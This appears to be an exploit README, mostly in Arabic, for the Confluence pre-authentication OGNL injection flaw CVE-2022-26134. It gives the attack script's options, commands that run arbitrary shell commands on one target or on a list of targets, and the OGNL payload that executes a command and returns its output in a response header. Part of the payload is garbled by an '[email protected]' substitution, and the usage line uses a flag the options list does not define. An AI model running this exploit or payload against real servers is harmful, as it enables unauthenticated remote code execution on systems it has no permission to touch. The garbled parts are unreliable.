Confluence Pre-Auth Remote Code Execution via OGNL Injection (CVE-2022-26134)

تنفيذ التعليمات البرمجية عن بُعد بدون مصادقة في Confluence عبر حقن OGNL (CVE-2022-26134)

• في 2 يونيو 2022، أصدرت Atlassian إعلانًا أمنيًا لتطبيقات Confluence Server وData Center، مشيرةً إلى ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد بدون مصادقة. تسمح ثغرة حقن OGNL لمستخدم غير مصادق بتنفيذ تعليمات برمجية عشوائية على مثيل Confluence Server أو Data Center.

هام

هذا الاستغلال مخصص فقط لتسهيل توضيح الثغرة من قبل الباحثين. لا أوصي بأي إجراءات غير قانونية ولا أتحمل أي مسؤولية عن أي استخدام ضار لهذا السكريبت.

• مثال الطلب

استخدام الاستغلال

python3 exploit.py -h
Usage: exploit.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     Base target uri (ex. http://target-uri/)
  -f FILEHOSTS, --file=FILEHOSTS
                        example.txt
  -t THREADS_SET, --threads=THREADS_SET
  -m TIMEOUT, --maxtimeout=TIMEOUT
  -o OUTPUT, --output=OUTPUT
  -c COMMAND, --cmd=COMMAND

استغلال هدف واحد:

$ python3 exploit.py -u http://xxxxx.com -c id

استغلال أهداف متعددة

$ python3 exploit.py -f urls.txt -p -c id

تعبير OGNL

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

المراجع:

• https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

• https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis